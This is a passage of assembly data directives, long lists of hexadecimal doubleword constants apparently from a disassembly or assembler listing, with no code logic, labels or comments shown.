8F98BFAAh dd 21EFEF4h, 0B70501B4h, 4460F6C3h, 6709589Ah, 10697E90h dd 2E3AC30h, 0B22DEC24h, 608030CBh, 40AA8566h, 178FF800h dd 37A812EBh, 920D0090h, 0B420053Eh, 58C01663h, 672A5053h dd 0C0C10E40h, 0BD2174B8h, 41694354h, 41EF4508h, 3289AE14h dd 57CC0514h, 4818C454h, 0D76D028h, 11886EB8h, 7D080260h dd 6343CCD6h, 0EAE7C83Ah, 0E0BA00E2h, 0E9D2829Ch, 3D00F48Ah dd 640A672h, 1C17D470h, 402FDCC8h, 28447607h, 0F426868Ah dd 0E3081CB5h, 63878726h, 40C9C79Eh, 668CA728h, 90EE6B2Fh dd 267650BCh, 2087ADh, 9C70C294h, 0B6091AA5h, 54A96FE6h dd 0A6864490h, 24802094h, 17985246h, 0B30825DBh, 72B2744h dd 6D518820h, 226E3B45h, 981ACD70h, 3BF143F4h, 9F0D0D6h dd 2C6BE042h, 0CE1EA402h, 0EC6014E2h, 0E312E4D5h, 0BC320581h dd 0B7A0403h, 3D4098C8h, 0E57900D9h, 7F8DB678h, 2D004155h dd 25F78468h, 291E1C9h, 6C2B899Eh, 50823845h, 0C510D96Eh dd 8F7B3730h, 0FD1640E0h, 0CBF8D1B9h, 2E090BDh, 34542415h dd 0F746006Eh, 28804B19h, 0A8087A24h, 7607AF09h, 8A60CF58h dd 228DF269h, 0CCA6FC17h, 885EB48Ah, 943F9A48h, 2A3E006Fh dd 6BF37D2Eh, 0A0C374E1h, 7561B6F9h, 0DC1E5013h, 73834493h dd 0D686A300h, 0A478EDE4h, 0A5F609EFh, 0DC7C893Ah, 0DCF14F40h dd 0A70200BBh, 678FDD56h, 43005706h, 1890AF23h, 1F2DE1D9h dd 2F41D236h, 569ED810h, 64B5A925h, 0DEE52294h, 11197E2Fh dd 8F17FEDCh, 0B975C520h, 89040A3h, 6EAED600h, 956D43D3h dd 56423E4Ah, 34F82B05h, 0EB91F74h, 3AA7BE75h, 0CD000FD3h dd 3C0AD459h, 7F45C517h, 8260FC87h, 13C0F44Dh, 0CCFE1BE7h dd 0EA09FC28h, 0D29A376Bh, 6D8F1240h, 0C0800083h, 93F81B78h dd 653492BFh, 5B188B20h, 0DC91A182h, 6A3F0041h, 94D82020h dd 424904BDh, 0B26D87A5h, 80E33814h, 40BCF36h, 0AE4F56h dd 1B68438Ah, 0A5A349DFh, 74A2B4B8h, 3464005Fh, 0F0DEA626h dd 377E178Eh, 256CA39Ch, 0B08871FEh, 0D2DDF5D8h, 0BC0088B0h dd 2EA97957h, 27FD8FFFh, 0C94176h, 6C7966h, 2F6C38B4h dd 3F853257h, 0A9801087h, 0BCE0B151h, 0D10049ABh, 91AAF543h dd 0F05EA50h, 219EC758h, 0EF086DA0h, 0FC771989h, 1F53D000h dd 0F501AC2Bh, 5229017h, 0B186C909h, 0B4EC0065h, 0A3C5D644h dd 7BA96625h, 0C86110A8h, 0D51F4047h, 5600D214h, 0C8C048FBh dd 1E584ADh, 760BFF81h, 0EA47F117h, 42CDD120h, 0DEEE00A0h dd 0E6C7D6F8h, 9D000B39h, 64AEC69Ah, 94E519F6h, 63344228h dd 0FCB314E6h, 1800449Fh, 0FEDA26CBh, 9CE2769Fh, 0F7EA83D0h dd 90B83FC6h, 16957E23h, 502E0088h, 2B289D7Dh, 0B892A968h dd 25AC1B25h, 28C8E6B8h, 0B43F0764h, 0D13EF69Fh, 78B33022h dd 0AFC800D0h, 0AD1B9EDBh, 0AC8CA94Ch, 0DC945FE2h, 0BB75E400h dd 0E5211CD7h, 49351417h, 961DB1C3h, 0A02E406Bh, 0CBED45D1h dd 867CA116h, 858AFC0Bh, 0D4E5E885h, 8D450803h, 2DB1409h dd 0FBDF7694h, 0CBF20358h, 67C88DFFh, 0D604C11Fh, 0C315B6A2h dd 0AEF0DE42h, 920080F9h, 3AE26A5Eh, 0ACFD10B0h, 647127DEh dd 0B71B00BCh, 104E1EEEh, 6F058F66h, 7BDB9FACh, 0F04CF4BCh dd 0CE03400h, 4963D0C3h, 922ED502h, 0DC44ADA3h, 844E8718h dd 60C50E5Dh, 92DCEDFCh, 3C0014BCh, 4C7E644Bh, 426ACA2h dd 3E05306Fh, 2895F5A1h, 8819B888h, 0E90C2279h, 329DAD7Ch dd 0B0CC021Ah, 1DAF5187h, 8A21E860h, 9D0FFCB8h, 0D25063C6h dd 14085450h, 4814C5AFh, 4B3C5680h, 0E8BFCC8Dh, 0C02214C8h dd 240C0926h, 8CC42Dh, 2320334Bh, 0B1C116B3h, 35C58300h dd 9F718B63h, 5802B7A4h, 0E720375Fh, 80DF78FCh, 0F800928Eh dd 0FE565BC6h, 125D8CA5h, 0FC4FD5C5h, 0D3A384E4h, 54691909h dd 897108B9h, 0AAC1C0BCh, 0CDDD1000h, 0D0C5EAD3h, 2B6B0302h dd 45763759h, 4813F9F3h, 9CE4FDFEh, 684C00E4h, 0EF55CE2h dd 0F6047639h, 1F88A564h, 0FA13B4B2h, 1D948880h, 1C4E3600h dd 0F2D7146h, 13A103F6h, 0DEE64872h, 74545BDAh, 0AA8AAC40h dd 24B90FEDh, 300ADA5h, 0BF19A339h, 1260342Dh, 543C604Ch dd 0A6890092h, 5E0B3345h, 6F17B077h, 0F400F9C1h, 7B615C15h dd 53450257h, 0BA84E9A7h, 0B13438C0h, 0C5DE8903h, 0C8A97F47h dd 5CCBACh, 0FE872F41h, 0BB1010Ch, 4E8A250h, 0F30849Fh dd 53623445h, 0A5CAD44h, 0D40BAA9Ah, 0D5DB8743h, 0A5F474D1h dd 0FC80947Ch, 0D55EEA7Bh, 0E84D2307h, 1C67B328h, 97862E50h dd 2F64B606h, 80C63C32h, 75E15300h, 1333A22Ah, 901A006Fh dd 886919DBh, 490FAAA6h, 418CC7F8h, 4276A728h, 89B918C3h dd 0A516905Ch, 0F098B74Eh, 7FA3177Bh, 38CC9ADh, 3B9BFCF2h dd 0C185ECB9h, 1E50802Bh, 63E33518h, 3D3F3069h, 15B2CD40h dd 6C7A2501h, 86D79EBAh, 904699FCh, 0B0FF0F9Ch, 2780949Bh dd 68117348h, 88022F7Ah, 27EB5E7h, 1E28C1D4h, 98407912h dd 0C02EC6Eh, 0FDE7630Bh, 8E24547Dh, 9BA0AE95h, 0D59CBA2Fh dd 30ECE500h, 0F27ECF2Dh, 3FEFE6Ch, 83A95F88h, 0A1002789h dd 0A76A18BDh, 18D67915h, 7E1962C0h, 3A4F2537h, 0ECA2B064h dd 0E7780078h, 6096EA93h, 4724F772h, 79817459h, 97B986D8h dd 97F31BC4h, 0C4F17412h, 842B8E89h, 18E83950h, 18281788h dd 0BAE4A809h, 2D1402A3h, 8030460Ch, 1EAF40h, 666B74FBh dd 7F827CE1h, 0D4203BF3h, 0B816487h, 0E1B09E33h, 0E019B809h dd 0D2E8316Eh, 38E7C910h, 0CD8F7974h, 0EF605488h, 9AC199Eh dd 5ED14501h, 0E4B22C2Dh, 16C474h, 40AE9B6h, 9ED42922h dd 0B4D9D209h, 71F48764h, 0B1AF23C0h, 20C412AAh, 0E158C775h dd 2AFA1A28h, 118BC422h, 5DB0DFD1h, 0C213C3BCh, 1C10CFA6h dd 4F8500B8h, 0E312F981h dd 2F7C0B8Ch, 3879E5C8h, 883C7203h, 5D0E301Ch, 0BCC66EA8h dd 3BC9BA04h, 44B2E1B2h, 4631C300h, 52BDA885h, 88094B0h dd 294A76AAh, 671034B2h, 0B74EC12Ch, 622FC2FAh, 0E85978C0h dd 38D41E3Eh, 426FA3Fh, 92002CDBh, 4BFA9EE5h, 0F156121Bh dd 4F941C19h, 3F84FED3h, 5550F063h, 0E8EF2CBEh, 0A8CA4B22h dd 38C5E6C1h, 0D7508034h, 5F66440Ch, 8FC10C0h, 2FE7C1Fh dd 63379E0Bh, 5E3094FAh, 7085B9AAh, 6F520033h, 0F8A8061h dd 79ECD144h, 0DF131490h, 6300387Eh, 0F5FD817Bh, 0FAEEC4Ch dd 6A6943A4h, 0B7A26E81h, 551280EAh, 0AFF97356h, 790609E4h dd 0F0F9E2CCh, 4261440Eh, 45FD23C5h, 0A3696E78h, 7108C0FBh dd 0CE824E0Dh, 8A00E70h, 2D9FECEBh, 44797B2Fh, 14D73918h dd 7FEFC300h, 0B5AC782Ch, 6BA28901h, 0DB603702h, 2971618Ah dd 0B7E70454h, 1806EB8Ah, 4228EA6Bh, 82E10BFh, 84460E80h dd 38F97C1Ah, 16B1954h, 3309C730h, 0B3E71208h, 0ECA08B12h dd 881EE8A9h, 4607E6A4h, 654E2082h, 9A8C5AC0h, 0A21B3DC8h dd 875CD1DBh, 0FEC4171Ch, 42C1A4ECh, 91ADDE63h, 884B5730h dd 880195E8h, 1A6E866Ch, 0D641E4F3h, 0CDFCA989h, 0B1631D81h dd 8817BCAh, 18C59EB2h, 84F0C10Fh, 5BCC1F08h, 88985080h dd 326D00E5h, 0D19AEB1Bh, 0E9EAB613h, 1F31E600h, 90E18C4h dd 1B1D7A73h, 400B72EEh, 0E5BBA3E7h, 5118596Fh, 40454E1Eh dd 0F6444C2Fh, 95021915h, 539DFB2h, 435603Eh, 28D575F8h dd 0F64807EFh, 96CF1CFCh, 5F254099h, 0EE37D2DBh, 782F8432h dd 34DB134Ch, 0EB8D9900h, 702E323Ah, 0CBBE0341h, 109CF47Fh dd 0EF0E20F6h, 9E2F17h, 0B8BE49AEh, 43E901E3h, 0D24A04B6h dd 0B0498033h, 0DB91C924h, 362118FBh, 0E6921920h, 5CBF400h dd 35D1A59Eh, 0A210025h, 7E4DB8D8h, 0B7E09815h, 8484B928h dd 0F459C84h, 14232FE0h, 0C0F6B508h, 2180FB88h, 3D983B4Eh dd 0C0870068h, 2EAC070Bh, 8201DFE0h, 160A8CC5h, 3080CAF2h dd 3CD61A13h, 41C5CD66h, 0D02192F7h, 0D8F8B8EFh, 0D611C00Ch dd 16272410h, 0BF798960h, 50C7E72Fh, 4E8892h, 0EFBE9A44h dd 0AE4D8785h, 0DA3EB808h, 60E48030h, 0BF0696D4h, 37362611h dd 0F62FEE00h, 6DAEC3C1h, 0D9160514h, 0DD4A0030h, 42E49264h dd 2A2D3AB8h, 21E6617Ah, 4094D260h, 33D348B0h, 7C481778h dd 0E1B88524h, 4945440h, 780DE950h, 412A0E3Eh, 7E65AC4Dh dd 0E4EB80D6h, 96FA3DB0h, 0CA00B2F2h, 0D814ED2Fh, 54623CF3h dd 60AD90F7h, 51EF6116h, 457E2003h, 0E5B43700h, 6E766307h dd 0CFF409D5h, 1821B109h, 414E100Fh, 13E764B4h, 398EF824h dd 95D10F3Ah, 9F20B298h, 0DEE272B8h, 12FEC502h, 80CF9A3Ch dd 28440818h, 13891DDh, 4A3AB64Dh, 815A0CDCh, 2BF002Bh dd 4320C086h, 0E01B2A23h, 0B5F75202h, 8030E417h, 0B30BA080h dd 0D8C0030Eh, 15A8EB9h, 721388B0h, 0BFE8C703h, 1BA0838h dd 2AB20F61h, 0E08607DCh, 62039561h, 5B8E7CC9h, 0F7A90CCBh dd 1631239Dh, 0F4C0EF54h, 0DA410100h, 3ED95570h, 682E0C25h dd 168C843Ch, 0C029E060h, 0E60EFEA0h, 4EA7866h, 0B30888D3h dd 10589026h, 7101973Bh, 0B7CF4DA8h, 0F8203D5Ah, 7044F8B5h dd 89CE60E7h, 66F47AE4h, 3C14BFE4h, 88E0F863h, 0A02C8009h dd 4C360E76h, 43CC7300h, 1CD6D5BFh, 3B8501B5h, 0B8F81FEDh dd 0C040CAB1h, 1A41739Fh, 7C9E2850h, 948E05BEh, 245B969h dd 0EB49EEE0h, 0CB277848h, 971C30E1h, 0C1EA1688h, 7F8FE9E9h dd 64B440F3h, 700F533h, 8B2D50F7h, 240EBC7Dh, 0EC15B24h dd 50F95649h, 0AF9FDCB8h, 57EE990Fh, 8E96608Fh, 0C8715B2Ah dd 20866228h, 447822CBh, 6D783CDBh, 154480A4h, 75DA3803h dd 6F9F5400h, 8522F8E0h, 0D2180619h, 3C500AC8h, 54377B4Fh dd 89EC21h, 0A512638Dh, 0ECB9687Ah, 0ED4F3301h, 67B20AC0h dd 9247FC4h, 9E588FBEh, 821A084h, 1038A413h, 248A84E6h dd 0C8C49050h, 0DD0AC01Dh, 0A50017C2h, 868E42C7h, 58802357h dd 0A84802B1h, 31E990C0h, 3E00507Ch, 0C16A7556h, 0EA15CCC6h dd 42F93D85h, 105B348Ah, 313B0894h, 0E38F0905h, 8B11348Ch dd 597CB0E3h, 0C6988A0h, 4D4EEF18h, 883D3721h, 0C80360C3h dd 0D336201Eh, 339CF8D2h, 32216A5h, 8E74333Ah, 26BBD580h dd 782C824Ch, 73085850h, 13E61E04h, 0E4882B4Ah, 0E9F30BB6h dd 0A30070EDh, 870A8F94h, 0B3677F02h, 85AF5BDEh, 48085AD0h dd 539A8032h, 0B4B23302h, 809C8658h, 11631797h, 4CD49073h dd 4CCF40C9h, 362525h, 0F4F97020h, 0B9111BD1h, 91399D2h dd 0BFB820BAh, 36003545h, 0B6BE8B61h, 711A54h, 0B125E522h dd 0B2E07446h, 0F3A64C00h, 0DB7CBABFh, 0E5280681h, 693C36C1h dd 85A9A400h, 6322ADB9h, 6F7600AFh, 0CE6431F1h, 602E187Eh dd 2D01D5B8h, 0EEC770AEh, 9AD030h, 9E5D98CBh, 8702EB19h dd 82A89C00h, 212B2CB9h, 0B1790016h, 0A1B5354Ah, 0F100AFC3h dd 0E614B398h, 9FE3E5h, 11A61219h, 45B5610Dh, 14603C2Eh dd 88AD44h, 2D9600DCh, 5AEF149Bh, 54B197F4h, 0CB10E024h dd 0DCA5BE8Fh, 60B40942h, 0A90B8481h, 497CFF82h, 1A091E7Eh dd 8BFE647h, 4940B480h, 4CCDF3EEh, 9208F829h, 200FC4Ah dd 0E773191Fh, 13893098h, 57FF2349h, 0FA0DCC1Dh, 0F7C7DC40h dd 1E449BE4h, 0DF1A1Ch, 63CD384Eh, 9C03B52Bh, 3D250EBAh dd 525CA827h, 0F4D0A01Eh, 813F6494h, 487C8816h, 35B09100h dd 0E74E9A74h, 61FF00BEh, 0C19CEEEFh, 2A263841h, 0FE1020EAh dd 8F007090h, 4E3A3C8h, 3800AE06h, 3C7FBAA7h, 6E8B7Ch dd 0A5E913E2h, 0DB30B60Bh, 5CD0F3EDh, 0F1045123h, 0EA371280h dd 0DC18A4D0h, 4C0905F5h, 82F42A28h, 0A52FCAB8h, 0A488B008h dd 0DA760B17h, 9025CF36h, 0C014006Eh, 4AB85A26h, 0ED733905h dd 0C98454A6h, 877C88h, 0BDF13F0Dh, 0E11B270Eh, 42143701h dd 0B1EF01A7h, 0B332E840h, 826401E4h, 0B6AB5CCh, 0D35CC4C8h dd 13CEFB3Bh, 2A0113DAh, 0A201FEEBh, 60707470h, 0D64A08D7h dd 830133D0h, 21E9630Bh, 6070EEBEh, 2C68F8C5h, 129875E8h dd 7C1C0888h, 0E814EFC2h, 0E825B950h, 0B890E806h, 46E544B4h dd 0B47A4B0Ah, 0B6088084h, 4D0602F9h, 0C40010D2h, 0F83167h dd 632F19BDh, 90EC3016h, 0A46A5A02h, 0A17F3FB8h, 763270C4h dd 3F2F8070h, 8606ACE4h, 4908D288h, 0CBC76300h, 6139C317h dd 136D0084h, 360112E4h, 818908Ah, 0EE99E7B5h, 391D6773h dd 46479B8h, 0E82BE60Eh, 275541CBh, 3EDCD5CDh, 3709062h dd 9EA860E0h, 4948E470h, 58785274h, 701B8560h, 7DC6E800h dd 0EEA219E4h, 9E2A3E35h, 0C0601CD0h, 666D0B50h, 0F20AA548h dd 9C17B8CFh, 3E4D7840h, 235300A6h, 7F81749Eh, 0B83C28FBh dd 54097F25h, 233C715h, 450F95D0h, 7CB50190h, 24B8E269h dd 9A1E5601h, 0C40BEE5Ch, 1D5C98CCh, 123C0062h, 14A32F83h dd 6531D211h, 3536500Ah, 0ED375980h, 532AB67Eh, 91DA4802h dd 8212E166h, 298949A4h, 346EB498h, 9DE8AC00h, 0F295CF54h dd 0C04A0024h, 29130467h, 0D248FD87h, 1D8C80C8h, 0D15CDAh dd 29F9D380h, 0BFBC7179h, 2D106505h, 0C100B28Ah, 76EE3504h dd 0C438A314h, 70DCF940h, 813E3415h, 80E45C25h, 0F6F5D99Eh dd 0C97A00FEh, 5B9BEADAh, 0EE00B20Dh, 9156A920h, 0B874A5h dd 4C08235Ah, 7F182A17h dd 8FA0124h, 0F3D10680h, 718521h, 0CFF91D93h, 0C1034924h dd 392FA106h, 713A36h, 3471E146h, 0D0AE66AAh, 0E78D20EDh dd 0C5879C0Bh, 48601098h, 42974F6h, 0BE8D5049h, 1804C199h dd 3E6E442h, 272E8C4h, 5E3CB840h, 386036C2h, 0A9278A69h dd 39280045h, 3A29FA69h, 0C3ABFE1h, 9C11A675h, 0C27D216h dd 6985E880h, 7A0D7E8Eh, 598F622Dh, 0A2879F46h, 0C45367F0h dd 0E5D780EFh, 0FC79B288h, 9E1EEE04h, 0CB0D91Ah, 70EF4EB6h dd 0DC40309Ch, 0FAF67800h, 0D9D0B6C7h, 420C9089h, 3C2203h dd 5BB481A5h, 73D7BE7Fh, 7E9BDD00h, 0C3BB7530h, 0A8A21418h dd 0BF0880CFh, 13800AADh, 81DC5CBh, 0E850063h, 780DF4D8h dd 0F0B116EEh, 1D4AF500h, 9F2FEA6h, 0C2563CB9h, 441F5882h dd 9108940Ah, 39B98331h, 610912D2h, 82ADC2F0h, 0A417EECAh dd 880784h, 0BE821DAEh, 62F2007Ch, 0E1FB49A7h, 3B218602h dd 0E1C76F9Ah, 44D48F20h, 6E511595h, 0F6109C56h, 0CC202B2Bh dd 95BFC200h, 26C38D98h, 98CB8AEh, 0A809A64Bh, 4800080Fh dd 37CFF3FBh, 46B13660h, 5077735Dh, 184ACB0Ah, 62FE5001h dd 8322514h, 600F29B9h, 0A8DE3Ch, 0D644D5C8h, 0B6D93F10h dd 0D64AC12h, 4D70100h, 12565Ch, 0DEBFED2Eh, 2A0AB8B1h dd 0BA4A9C04h, 0A837B4Ch, 0A4C3F7h, 0B5E6DF59h, 5EA0F4D7h dd 8800D0B2h, 76E52A09h, 0DFA28AE2h, 0A76C06C0h, 101C180Fh dd 0CE03B0C8h, 0B063532Dh, 48174A8Ah, 6C06E442h, 0E8775576h dd 0B649E000h, 2ED8EE1Bh, 31360E8Ah, 7740CCC8h, 0F6138C9Bh dd 40DF9430h, 807BF538h, 75401F9Eh, 0F0BA188Bh, 0B4C218FAh dd 3F409C58h, 66A861D8h, 8A002B62h, 4781D33Dh, 631A43F0h dd 16DE3082h, 7F1015B0h, 8748202Ch, 221E832h, 0DE100FE2h dd 3B2184D6h, 2A0C40Eh, 217B4DCAh, 0FC3DDCh, 47FE85F3h dd 5408D36Eh, 4D0A0E4h, 0D2B8ED4Fh, 9058970Dh, 0EF5FA511h dd 4A7ACB03h, 0E0A1F812h, 0E0619DB5h, 0A9B400C8h, 0B7E1DD72h dd 0B0091B23h, 17DE5Ch, 36A3C540h, 0EA86129Ah, 18500030h dd 4C35F083h, 9D5FB809h, 97E8400Eh, 0CB7818B2h, 1266C803h dd 0CFF75801h, 3DB36019h, 204D1820h, 0C0FD03C8h, 20A7AAFFh dd 0C954F188h, 0E6008444h, 554F66E1h, 8AABD2h, 5605D4A1h dd 300E3D1Dh, 8E11C53Ah, 0A098FF22h, 70E52D73h, 0B6E70346h dd 62357984h, 20071EF9h, 11ED89F4h, 0A450E816h, 5EE011h dd 54673E51h, 0D2FFD3E2h, 19151B05h, 0D0C0DC42h, 26EA338Ah dd 0BC812E6h, 4A3735h, 4601CFF0h, 1CE9A3B6h, 898DB8Eh dd 0A8CE2127h, 0AC708800h, 0B819C21Bh, 7ADA2874h, 8A720BB8h dd 7C8FC62Eh, 928C1183h, 103CE4EBh, 0A0E9FBh, 7499811Ch dd 5C0FF865h, 1F870422h, 7E62E52h, 0E40011C8h, 72BE70BAh dd 331BD3A3h, 0FD085345h, 410E2103h, 0C0C14A70h, 0A4681DBh dd 0CA10A27Ch, 84C24C4h, 0B617D956h, 1CAD1404h, 0ED782C90h dd 9627015Ah, 9FC9FB83h, 7B0898F3h, 0E55221h, 2CAA8E5Ah dd 0E364021Ch, 0A6D21602h, 61BC6295h, 0F85020E0h, 2641C581h dd 814C1B17h, 0ECDC24FFh, 3373EC60h, 8099833h, 0A6E900F0h dd 0C155DC3Ch, 6E01CD35h, 3A92125Bh, 0C850FECEh, 0FD2E82C7h dd 0D05FA450h, 0A4FA0023h, 0C2190CB2h, 0DC093602h, 2378C72h dd 0C0E2B799h, 7D24F8h, 3144E389h, 7EEB6471h, 9E1DEC00h dd 30732521h, 2310005Dh, 0C2D0558Fh, 0CA00870Dh, 0E2C793F3h dd 1FF07AC1h, 4046AE92h, 0D6F1A7E9h, 0EF718319h, 86FA7803h dd 0ED906Fh, 54241730h, 1ED72857h, 81464A00h, 9ABE1D9Dh dd 0E0B00082h, 694DCEA8h, 0CA2CBA5Bh, 0E60117E8h, 0E793EE77h dd 0C4E50C8h, 94F301CCh, 0A6068E20h, 9807570Eh, 0D9ED0090h dd 8F4AE715h, 0DD3E582Dh, 0D26F83CAh, 0D03BC09Eh, 3857910h dd 93C448D1h, 39039B67h, 0E7014FCAh, 0B558009Fh, 801C6110h dd 6F0393FAh, 99C4504Bh, 9069E0E7h, 0CBCE0226h, 4FC56D38h dd 87B4BA41h, 0CC979838h, 0A62853B3h, 0BEF51C30h, 6E160EEBh dd 4668A6E0h, 1C0381FDh, 1718E370h, 938002D5h, 0B1BE214Ch dd 8B0603h, 9695F999h, 72BFE071h, 0EA2C6507h, 6EB0F2B6h dd 0E920912h, 0AC90C370h, 0F363F7C0h, 0BF0ECC37h, 0E3DCB31Ah dd 43CD7C2Fh, 0F3EC0410h, 10F16530h, 0B62214h, 0BBA5C61Fh dd 30B4E44Ch, 0D9C1C800h, 22DBF3B9h, 14F93EA7h, 0CF29AA31h dd 323A0073h, 7A9600A4h, 1C6B63F5h, 0FE033C2Ah, 206A7CA1h dd 0E486910Bh, 0FC25D4h, 0C8150DCBh, 10BC4583h, 0F834CC00h dd 853E9A2Dh, 0E4D700B3h, 0AB50E674h, 9F03F413h, 0AEC03F90h dd 8F978005h, 702F1AA0h, 0FE0010AFh, 8ED01A94h, 37A6A07h dd 15B738BDh, 0E193EF30h, 66A90F4Fh, 0F008C53h, 0E4AFF268h dd 51DD4614h, 0CA007C80h, 0BB9C70C3h, 1BA3B38h, 9A920A3Ah dd 80E20F54h, 7B974840h, 0C390AFh, 0E6A237F5h, 0C60D8AC8h dd 0F9951007h, 2740C968h, 52F01h, 98DFB81Dh, 2D6DD004h dd 42DD3Ch, 0E2CF6892h, 0A9954E1h, 71BE4456h, 0A27B00C4h dd 3CFB3719h, 0A1C3CE30h, 0A5D680Ch, 0DB349B56h, 5A2D0088h dd 2779811h, 0E495B200h, 0E57FD7BEh, 0BBED484Ch, 20420D03h dd 1898C1F0h, 45005564h, 0A581A271h, 96F280h, 6AB51FCAh dd 2AB927EDh, 0ADE74200h, 328CD84Ah, 0B04400DFh, 687A9A01h dd 0D50170A3h, 0F9720F0Eh, 3AE066D4h, 8D5B00DDh, 0A8797F09h dd 5A098B67h, 9E8F30h, 0DB88462Ch, 26B70037h, 606114ECh dd 0BF1DDFD3h, 74811B4Fh, 29C9AD66h, 13EE95F4h, 23DB44h dd 0C79AFCDCh, 2400B840h, 552B2A8Dh, 58643Bh, 93DFBBF1h dd 9660AD6Dh, 921AB905h, 0D0403035h, 9D90F7D7h, 0E0C5555Ah dd 0AC98DCh, 0B9FF13F4h, 0D4B1D5B6h, 2235CC07h, 911F7A2h dd 589DF087h, 0F30F00B7h, 8DD59DD9h, 0CA00C875h, 0EF49E82Ch dd 92046D7Ch, 0C91E448h, 0E582F871h, 0D1987510h, 0D47C1F00h dd 2ACE0980h, 147A2423h, 0A68D07B0h, 0F91F7007h, 6700AFFFh dd 2762BFBEh, 0EA446E0h, 8801D478h, 479FB1A0h, 54006183h dd 0ED38F50Ch, 14447E58h, 0FAB217F9h, 0C86E5B06h, 6F0378E7h dd 0EDF0FD68h, 15C2D084h, 0ADD224BCh, 0CE500450h, 0BA47C321h dd 8CFCF803h, 7A3AB801h, 0FD6000E1h, 213DC564h, 6C0F8AF4h dd 24563124h, 48807D66h, 2BBEC2h, 49594FCEh, 2376B972h dd 119258h, 2FB89767h, 19DDBD88h, 58A0FD0Bh, 0AA8CE079h dd 8578CB78h, 8344A31Ch, 0BF6506C1h, 68C698B8h, 548DA43Ch dd 48ECD86Ah, 0E900E4BEh, 82FD2779h, 0BBE00DBAh, 9AD7A100h dd 9FEED9D8h, 0B88C30F2h, 0D1655C40h, 4E141600h, 0C5FFCEAh dd 255E0318h, 0A6F4E220h, 0C8ED4AC9h, 5A26A234h, 0A301E3B3h dd 0F695BC9Ch, 7A871820h, 0F1D200D5h, 17E9AFD7h, 0BC090648h dd 0BF2C43h, 0FBA39B20h, 0C7E800CBh, 574F7BFCh, 7F0E02ABh dd 43CE1216h, 0B97D56A3h, 0C1C02F91h, 0F27000F0h, 3067DC47h dd 6C076669h, 0D42C2B42h, 0C22E9F80h, 31F0AA1h, 81B42AB6h dd 3DF85335h, 87B9F0AFh, 0F054EC05h, 8C0D745h, 4AEF7Eh dd 0B45547F6h, 4C77F71Eh, 8E8D6803h, 0B8C61334h, 0FAA41EBh dd 0C2CE3DB1h, 65027E3h, 0D40E8680h, 94122900h, 9D625231h dd 344C0705h, 903AAFB2h, 91E158FBh, 11611713h, 0C740381Ch dd 0CBF2A57Bh, 8CC900EEh, 787DC39Eh, 88004748h, 0CCE70C07h dd 2E460A39h, 59F47Eh dd 6A1658Fh, 8CFE3A04h, 79D6610Fh, 5E3E2012h, 70288F2h dd 4EDD45A6h, 383D202Eh, 871F4C1Ah, 61C02728h, 36720A3Bh dd 20130A9Eh, 0D1E648h, 0A8045EBFh, 114C0932h, 0F61600A8h dd 0F34792FAh, 25620F78h, 0E6804376h, 0D5B311AAh, 3E6F6403h dd 0F84A96CBh, 889F9Eh, 0A629ECF9h, 0E893A232h, 444FEE24h dd 0C1C0BA90h, 94031BCEh, 0C7B99C04h, 9893E01Dh, 8354E19Ah dd 0C3DEE0EEh, 0A779017Ch, 9313B66Dh, 37ABE8C9h, 2CA87A00h dd 3BBE764Bh, 0E1E00EAh, 5F4361A4h, 0CC00A6B4h, 0BD52EF84h dd 0E8ABBF78h, 0F1C00097h, 0D8B88734h, 0EA61EB66h, 14A22D20h dd 69611071h, 62E9F4h, 40940AAFh, 0A29A5EF2h, 90F98E2h dd 2071705Bh, 2D8C25B9h, 72A82C89h, 0E48A80F0h, 132A3655h dd 90514C00h, 832B5D21h, 38880028h, 465F02A5h, 8F022F96h dd 4504AF55h, 3208805Ch, 29241Bh, 6263338Ah, 9BA44201h dd 18305Dh, 16BC487Ch, 1F64E947h, 8C90D06Dh, 93807F5Eh dd 6974DF78h, 0FA4AE60Bh, 9B38A216h, 4C002F9Eh, 4278366Dh dd 142F9D74h, 0FAC7C2Bh, 0F3807D43h, 9F9B84B1h, 654218A0h dd 803D18DEh, 131C0516h, 34417C9h, 0B40F1278h, 4AE13694h dd 0F93840C5h, 43009030h, 0B2F18795h, 74B51082h, 9875EAA1h dd 0CE3900DFh, 0ADEED7B8h, 0DD1CBE55h, 62C0DAD8h, 81D0A61Dh dd 28F200D3h, 31E3C6Fh, 0C400F495h, 0A609D811h, 3FD3AEC6h dd 3700A24Ch, 0ECFB4807h, 0CE005744h, 66AB8B2Fh, 69C53Dh dd 3FE61BBFh, 0BD0CE721h, 0D73BBC01h, 1E291957h, 0E351C4h dd 0E7BB2ACFh, 0D5E93F94h, 6FA5D901h, 88C0AEDAh, 0F64C26C0h dd 93B21D15h, 0ED57C08Ch, 7F3328DCh, 80CD493Ch, 0FEC99582h dd 0E019F5F7h, 16CF1CA2h, 388EAB3h, 0C149667Ah, 3B88C7B2h dd 18C073D9h, 72F6A16Dh, 4BC60307h, 4E7F1AA3h, 0F9949094h dd 0C2003097h, 25B110B6h, 6627332h, 0F0A7A247h, 0E90018DFh dd 0C464ED4Eh, 78CAACCEh, 903071F5h, 0D430FFACh, 0E9B20AF7h dd 93E8FAF2h, 56190046h, 8CF9B9D3h, 6FEC4007h, 9B80DE6Bh dd 0DFA87186h, 3F140328h, 91E3C1D5h, 99C0A673h, 7EEAB6C8h dd 6833606Ch, 77C2971Eh, 0EF108100h, 0D8A7159Dh, 0F3A0C3C6h dd 803AB8B7h, 0A18F40EBh, 708074C1h, 0E2A11446h, 0B411EF28h dd 6F00970Bh, 22F79F1h, 0E80EB7C6h, 74B6F093h, 0C9430094h dd 91A52D9Ah, 194A97h, 0AC7EEBE0h, 91C2C2EFh, 10875ED3h dd 0C040E8BFh, 48C18FDh, 0D138C80Bh, 0FFE86B61h, 681ADE69h dd 5FE07459h, 244EE8D5h, 168038Ah, 0E91C9712h, 46CC40ABh dd 18C01D90h, 0A50C1A35h, 9F59C09Dh, 13153342h, 0F0D0560Ch dd 0C080093Ah, 334A7F21h, 730013A8h, 0F9DE9511h, 281C4202h dd 7F90273Bh, 18B198E9h, 0D8F12897h, 84A02598h, 6924CD0Ah dd 1BC30F2h, 58F916DCh, 0E02021F5h, 83165FDh, 69C4B38h dd 80569387h, 0F1B4E2ABh, 900437Bh, 413C5EAFh, 28E52F67h dd 36DCCA20h, 0A980CD07h, 0FD70BF17h, 0EF31B000h, 0FF089C7Eh dd 800DF191h, 13123343h, 83448C2Eh, 334B017Ah, 0E00A53F2h dd 0E96930C5h, 6F12C709h, 0EF7420C9h, 0A114D05Eh, 59181730h dd 1321337Eh, 4144C07Eh, 0B0B09333h, 0E1089517h, 4821FF0Dh dd 0B9985898h, 8A00DA10h, 